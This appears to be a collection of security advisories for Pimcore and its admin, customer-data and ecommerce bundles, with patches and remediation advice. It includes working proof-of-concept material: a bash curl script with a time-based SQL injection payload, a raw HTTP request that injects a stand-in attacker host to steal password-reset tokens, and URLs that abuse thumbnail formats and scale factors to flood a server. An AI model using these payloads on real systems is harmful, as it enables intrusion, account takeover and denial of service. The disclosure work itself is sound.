Navigating to /admin/index/statistics with a logged in Pimcore user (not an XmlHttpRequest because of this check: IndexController:125) exposes information about the Pimcore installation, PHP version, MYSQL version, installed bundles and all database tables and their row count in the system.
The web server should not return any product and version information of the components used. The table names and row counts should not be exposed.
Details
/admin/index/statistics returns the following JSON-response: { { "instanceId": "...", "pimcoremajorversion": 11, "pimcoreversion": "v11.3.1", "pimcorehash": "3ecd39f21dbdd25ffdf4bec6e2c860eccfd3d008", "pimcoreplatformversion": "v2024.2", "phpversion": "8.3.8", "mysqlversion": "10.11.8-MariaDB-ubu2204", "bundles": [ // all installed bundles ], "tables": [ // all tables and their row count, e.g: { "name": "users", "rows": 2 }, ] }
Information about the Pimcore Version can also be seen here:
In a current Version:  
In Pimcore Version 10.6.9:  
PoC
- [Demo App](https://demo.pimcore.fun/admin) with credentials user: admin and pass: demo - Watching Network-Tab in Developer-Tools and looking for /admin/index/statistics
Impact
Only for logged in Pimcore users possible.
Workaround and Patch
We patched the following additional check for Pimcore v10.6.9. This uses an app-specific class but any user permission would be ok. This resolves navigating to /admin/index/statistics.
patch diff --git a/vendor/pimcore/pimcore/bundles/AdminBundle/Controller/Admin/IndexController.php b/vendor/pimcore/pimcore/bundles/AdminBundle/Controller/Admin/IndexController.php --- a/vendor/pimcore/pimcore/bundles/AdminBundle/Controller/Admin/IndexController.php (revision dd81ef4c666b18c254333867a60f6ed455025076) +++ b/vendor/pimcore/pimcore/bundles/AdminBundle/Controller/Admin/IndexController.php (date 1721225746781) @@ -15,6 +15,7 @@
namespace Pimcore\Bundle\AdminBundle\Controller\Admin;
+use App\Constant\UserPermission; use Doctrine\DBAL\Connection; use Exception; use Pimcore\Analytics\Google\Config\SiteConfigProvider; @@ -142,6 +143,12 @@ throw $this->createAccessDeniedHttpException(); }
+ $user = $this->tokenResolver->getUser(); + + if (!$user->isAdmin() && !$user->isAllowed(UserPermission::ADMININDEXVIEW)) { + throw $this->createAccessDeniedException(); + } + // DB try { $tables = $db->fetchAllAssociative('SELECT TABLENAME as name,TABLEROWS as rows from informationschema.TABLES
For the Pimcore versions in the UI we used the IndexActionSettingsEvent. This works for Versions < Pimcore 11:
php <?php
namespace App\EventListener\Admin;
use App\Constant\UserPermission; use Pimcore\Bundle\AdminBundle\Event\AdminEvents; use Pimcore\Event\Admin\IndexActionSettingsEvent; use Pimcore\Security\User\TokenStorageUserResolver; use Symfony\Component\EventDispatcher\EventSubscriberInterface;
/ @deprecated and cannot be used in Pimcore 11 / class PimcoreVersionUIGuardSubscriber implements EventSubscriberInterface { public function construct(private readonly TokenStorageUserResolver $tokenResolver) { }
public static function getSubscribedEvents() { return [ AdminEvents::INDEXACTIONSETTINGS => ['onIndexActionSettingsEvent'], ]; }
public function onIndexActionSettingsEvent(IndexActionSettingsEvent $event): void { $user = $this->tokenResolver->getUser(); if ($user->isAdmin() || $user->isAllowed(UserPermission::ADMININDEXVIEW)) { return; }
$settings = $event->getSettings(); $settings['instanceId'] = ''; $settings['version'] = ''; $settings['build'] = ''; $event->setSettings($settings); } }
Details 1. All Imagick supported Fileformats are served without filtering
The Thumbnail endpoint does not check against any filters what file formats should be served. We can transcode the image in all formats imagemagick supports. With that we can create Files that are much larger in filesize than the original. For example we can create a .txt file for all thumbnails, and we get the text representation of the image.
We can demonstrate that with the pimcore demo:
This Thumbnail is found on the Frontend: https://demo.pimcore.fun/Sample%20Content/Background%20Images/317/image-thumb317standardTeaser/11.8c64bd89.avif (12kb Filesize)
We can generate a text representation by simply changing the file extension: https://demo.pimcore.fun/Sample%20Content/Background%20Images/317/image-thumb317standardTeaser/11.8c64bd89.txt (4.59mb Filesize)
Other (large) fileformats we tested: ftxt, dip, bmp, bmp3, bmp2, farbfeld, cmyk, cmyka, ycbcr, ycbcra and many more (just check imagemagick supported formats)
With that we can fill the available space of a server really easy.
With formats like yaml or json we can also expose exif data of the original image file - could be a concern with gps data in user uploaded images.
TLDR
- we can generate all imagemagick supported formats with all thumbnail configs - all configs were the format is set to "auto (Web-optimized)" are vulnerable - private (exif) data can be exposed. - We can flood the the server with a bunch of files that are a multiple magnitudes of the original thumbnail size (see txt example), for all thumbnail configs, with every image that we find (scriptable)
Proposed Solution
Implement a list of allowed formats that the developer can modify if needed, if a file is requested in another format than listed, pimcore should return either "/bundles/pimcoreadmin/img/filetype-not-supported.svg" or a 404.
yaml pimcore: thumbnails: allowedformats: ['jpg', 'png', 'avif', 'webp', 'gif']
For non-maintained Pimcore versions (<11), the webserver config could be used to only serve files that should be allowed.
2. Non Web optimized file formats (ORIGINAL, JPG, PNG) creates duplicated files on Server
With Thumbnail config that are configured to serve non web optimized file formats (such as ORIGINAL, jpg, png, print, etc) we can create files with arbitrary file formats that are saved to disk.
For example, the thumbnail configuration "printbackgroundimage" (in the pimcore demo) can be used to create files such as:
https://demo.pimcore.fun/Car%20Images/jaguar/3/image-thumb3printbackgroundimage/auto-3095119.aaa https://demo.pimcore.fun/Car%20Images/jaguar/3/image-thumb3printbackgroundimage/auto-3095119.aab https://demo.pimcore.fun/Car%20Images/jaguar/3/image-thumb3printbackgroundimage/auto-3095119.aac
Each request creates a new copy of the original (jpg) thumbnail file. The server can be flooded with a bunch of files.
Code for this mechanism is here: https://github.com/pimcore/pimcore/blob/11.x/models/Asset/Service.php#L621-L623
Proposed Solution
Use same filtered list from "All Imagick supported Fileformats are served without filtering" and do not copy the arbitrary file to disk, just serve the original image file under the "new" name.
3. Scaling Factor is not limited and can be modified via url
We can scale each thumbnail to an arbitrary factor with @<float>x added to the request url.
For example:
https://demo.pimcore.fun/Sample%20Content/Background%20Images/317/image-thumb317standardTeaser/11.8c64bd89@1x.avif https://demo.pimcore.fun/Sample%20Content/Background%20Images/317/image-thumb317standardTeaser/11.8c64bd89@1.01x.avif https://demo.pimcore.fun/Sample%20Content/Background%20Images/317/image-thumb317standardTeaser/11.8c64bd89@1.08x.avif https://demo.pimcore.fun/Sample%20Content/Background%20Images/317/image-thumb317standardTeaser/11.8c64bd89@2x.avif
If the thumbnail config allows "forced" resizing, we could also do something like:
https://demo.pimcore.fun/Sample%20Content/Background%20Images/317/image-thumb317standardTeaser/11.8c64bd89@192x.avif
Each request will create a new file, flooding the server with more files. If the factor is big enough, we can also max out the CPU with a single request for quite some time (only really a problem with "forced")
In combination with the first vulnerability we can also generate (large) text files for scaled images:
https://demo.pimcore.fun/Sample%20Content/Background%20Images/317/image-thumb317standardTeaser/11.8c64bd89@4x.txt (6.6 mb filesize)
Proposed solution
Limit scale factors with an allowlist:
yaml pimcore: thumbnails: allowedscalefactors: [1.25, 1.5, 2, 4]
Impact All Pimcore Instances are affected, as far as we can see, also all versions
Summary Any call with the query argument ?pimcorepreview=true allows to view unpublished sites. Event if in incognito window. Due to the behaviour of how previews should work, this also applies to internal documents, say an intranet which could be really severe.
Details In previous versions of Pimcore, session information would propagate to previews, so only a logged in user could open a preview. This no longer applies. Previews are broad open to any user and with just the hint of a restricted link one could gain access to possible confident / unreleased information.
PoC - go to demo.pimcore.com - unpublish a document - open preview link in incognito tab - see how the page loads normally
Impact Any intranet or other restricted sites which are able to show a preview are affected. This could possibly be huge.
Overview
A potential security vulnerability discovered in pimcore/admin-ui-classic-bundle version up to v1.3.3 . The vulnerability involves a Host Header Injection in the invitationLinkAction function of the UserController, specifically in the way $loginUrl trusts user input.
Details
The host header from incoming HTTP requests is used unsafely when generating URLs. An attacker can manipulate the HTTP host header in requests to the /admin/user/invitationlink endpoint, resulting in the generation of URLs with the attacker's domain.
In fact, if a host header is injected in the POST request, the $loginURL parameter is constructed with this unvalidated host header. It is then used to send an invitation email to the provided user.
Here is an excerpt from the affected section of UserController.php file: // /src/Controller/Admin/UserController.php public function invitationLinkAction(Request $request, TranslatorInterface $translator): JsonResponse { // ..snip.. $token = Tool\Authentication::generateTokenByUser($user); $loginUrl = $this->generateCustomUrl([ 'token' => $token, 'reset' => true, ]);
try { $mail = Tool::getMail([$user->getEmail()], 'Pimcore login invitation for ' . Tool::getHostname()); $mail->setIgnoreDebugMode(true); $mail->text("Login to pimcore and change your password using the following link. This temporary login link will expire in 24 hours: \r\n\r\n" . $loginUrl); $mail->send(); // ..snip.. } // ..snip.. private function generateCustomUrl(array $params, string $fallbackUrl = 'pimcoreadminlogincheck', int $referenceType = UrlGeneratorInterface::ABSOLUTEURL): string { try { $adminEntryPointRoute = $this->getParameter('pimcoreadmin.customadminroutename');
//try to generate invitation link for custom admin point $loginUrl = $this->generateUrl($adminEntryPointRoute, $params, $referenceType); } catch (\Exception $e) { //use default login check for invitation link $loginUrl = $this->generateUrl($fallbackUrl, $params, $referenceType); }
return $loginUrl; } The $loginUrl variable is constructed using the generateCustomUrl function. If an attacker injects a malicious host header into a POST request, the resulting $loginUrl will include the malicious domain, and this link is then sent via email to the user.
Proof of Concept
Here is an example of a request that exploits this vulnerability: POST /admin/user/invitationlink HTTP/1.1 Host: attacker-domain.evil Cookie: PHPSESSID=test X-pimcore-extjs-version-major: 7 X-pimcore-extjs-version-minor: 0 X-Requested-With: XMLHttpRequest X-pimcore-csrf-token: 961c37cf60edfdc2eec5a705cb048aaa8c32804d
username=[username of a valid user]
The URL in the email will look like: http://attacker-domain.evil/admin/login/login?token=[TOKEN]
Impact
This vulnerability can be used to perform phishing attacks by making the URLs in the invitation links emails point to an attacker-controlled domain.
Remediation
We recommend validating the host header and ensuring it matches the application's domain. It would also be beneficial to use a default trusted host or hostname if the incoming host header is not recognized or is absent.
Similar vulnerability (CVE-2024-23648) has been fixed in this project (https://github.com/pimcore/admin-ui-classic-bundle/commit/70f2205b5a5ea9584721d4f3e803f4d0dd5e4655)
Credit
Discovered by @v0lck3r (Oussama RAHALI), Feb 2024.
Impact You can create, delete etc. tags without having the permission to do so. This vulnerability allows an attacker to perform broken access control and add tags to admin panel and add dumy data. One can do this as intruder and add text parameters with random numbers and this will effect integrity and availability.
Patches Available in version 1.3.3.
Workarounds Apply this pull request manually: https://github.com/pimcore/admin-ui-classic-bundle/pull/412
References -
Summary The application allows to create zip files from available files on the site. The parameter "selectedIds", is susceptible to SQL Injection.
Details downloadAsZipJobsAction escape parameters, but downloadAsZipAddFilesAction not. The following code should be added: foreach ($selectedIds as $selectedId) { if ($selectedId) { $quotedSelectedIds[] = $db->quote($selectedId); } }
PoC
- Set up an example project as described on https://github.com/pimcore/demon (demo package with example content) - Log In. Grab the X-pimcore-csrf-token header from any request to the backend, as well as the PHPSESSID cookie. - Run the following script, substituting the values accordingly: #!/bin/bash BASEURL=http://localhost # REPLACE THIS! CSRFTOKEN="5133f9d5d28de7dbab39e33ac7036271284ee42e" # REPLACE THIS! COOKIE="PHPSESSID=4312797207ba3b342b29218fa42f3aa3" # REPLACE THIS! SQL="(selectfrom(select(sleep(6)))a)"
curl "${BASEURL}/admin/asset/download-as-zip-add-files?dc=1700573579093&id=1&selectedIds=1,${SQL}&offset=10&limit=5&jobId=655cb18a37b01" \ -X GET \ -H "X-pimcore-csrf-token: ${CSRFTOKEN}" \ -H "Cookie: ${COOKIE}" - The response is delayed by 6 seconds.
Impact Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level.
Summary
The password reset functionality sends to the the user requesting a password change an email containing an URL to reset its password.
The URL sent contains a unique token, valid during 24 hours, allowing the user to reset its password. This token is highly sensitive ; as an attacker able to retrieve it would be able to resets the user's password.
It was identified during the audit that the reset-password URL is crafted using the "Host" HTTP header of the request sent to request a password reset.
This way, an external attacker could send password requests for users, but specify a "Host" header of a website that they control. If the user receiving the mail clicks on the link, the attacker would retrieve the reset token of the victim and perform account takeover.
Details
This attack required the server to serve Pimcore on arbitrary "Host". This configuration would be plausible if the attacker is already behind the reverse proxy. During the assessment of my client, their instance was accepting any Host header, and they did not received security recommendations that they should restrict this while installing Pimcore.
From what I understood of Pimcore, the vulnerability is in the "admin-ui-classic-bundle", in the file src/Controller/Admin/UserController.php.
The following screenshots provide evidences of the vulnerability. The environment of the test is : dockerized Pimcore v11.1.1 on default configuration (https://pimcore.com/docs/platform/Pimcore/GettingStarted/Installation/DockerBasedInstallation/).
PoC !image !image
Remediation Create a variable that sets the server host. Don't enable password reset functionality while this variable is not set ; or make sure that the administrator knows what they are doing.
I believe that just documenting that the server should not serve on any Host would not be enough to enforce a remediation to this vulnerability.
The Snipe-IT project managed this same issue by creating a "APPALLOWINSECUREHOSTS" variable, and retrieving the app absolute URL from a config file : https://github.com/snipe/snipe-it/commit/0c4768fd2a11ac26a61814cef23a71061bfd8bcc
Impact Could lead to a 1-click account takeover
Summary An authenticated and unauthorized user can access the GDPR data extraction feature and query over the information returned, leading to customer data exposure.
Details Permissions do not seem to be enforced when reaching the /admin/customermanagementframework/gdpr-data/search-data-objects endpoint allowing an authenticated user without the permissions to access the endpoint and query the data available there. It seems that the access control is not enforced in this place : <https://github.com/pimcore/customer-data-framework/blob/b4af625ef327c58d05ef7cdf145fa749d2d4195e/src/Controller/Admin/GDPRDataController.php#L38>
PoC
In order to reproduce the issue, the following steps can be followed:
1. As an administrator : a. Create a role without any permission through Settings → User & Roles → Roles in the administration panel b. Create an user through Settings → User & Roles → Users and assign it the unprivileged role previously created 2. Log out the current administrator and log in with this new user 3. Access to the following endpoint https://pimcoreinstance/admin/customermanagementframework/gdpr-data/search-data-objects?id=&firstname=&lastname=&email=&page=1&start=0&limit=50 and the results will be returned to this unauthorized user.
Impact An unauthorized user can access PII data from customers without being authorized to.
Summary An authenticated and unauthorized user can access the list of potential duplicate users and see their data.
Details Permissions do not seem to be enforced when reaching the /admin/customermanagementframework/duplicates/list endpoint allowing an authenticated user without the permissions to access the endpoint and query the data available there. It seems that the access control is not enforced in this place : <https://github.com/pimcore/customer-data-framework/blob/b4af625ef327c58d05ef7cdf145fa749d2d4195e/src/Controller/Admin/DuplicatesController.php#L43>
PoC In order to reproduce the issue, the following steps can be followed :
1. As an administrator : a. Create a role without any permission through Settings → User & Roles → Roles in the administration panel b. Create an user through Settings → User & Roles → Users and assign it the unprivileged role previously created 2. Log out the current administrator and log in with this new user 3. Access to the following endpoint https://pimcoreinstance/admin/customermanagementframework/duplicates/list and the results will be returned to this unauthorized user
Impact An unauthorized user can access PII data from customers without being authorized to.
Summary An authenticated and unauthorized user can access the back-office orders list and be able to query over the information returned.
Details Permissions do not seem to be enforced when reaching the admin/ecommerceframework/admin-order/list endpoint allowing an authenticated user without the permissions to access the endpoint and query the data available there. It seems that the access control is not enforced in this place :
<https://github.com/pimcore/ecommerce-framework-bundle/blob/ff6ff287b6eb468bb940909c56970363596e5c21/src/Controller/AdminOrderController.php#L98>
Note : Testing this vulnerability requires a fully configured ecommerce website, but it looks vulnerable as when requesting the endpoint the data seem returned (and when looking at the source code nothing seems to validate the permissions on the specified endpoint).
PoC In order to reproduce the issue, the following steps can be followed :
1. As an administrator : a. Create a role without any permission through Settings → User & Roles → Roles in the administration panel b. Create an user through Settings → User & Roles → Users and assign it the unprivileged role previously created 2. Log out the current administrator and log in with this new user 3. Access to the following endpoint https://pimcoreinstance/admin/ecommerceframework/admin-order/list and the results will be returned to this unauthorized user
Impact An unauthorized user can access back-office orders without being authorized to.
Customer-data-framework allows management of customer data within Pimcore. There are no tokens or headers to prevent CSRF attacks from occurring, therefore an attacker could abuse this vulnerability to create new customers. This issue has been patched in version 4.0.5.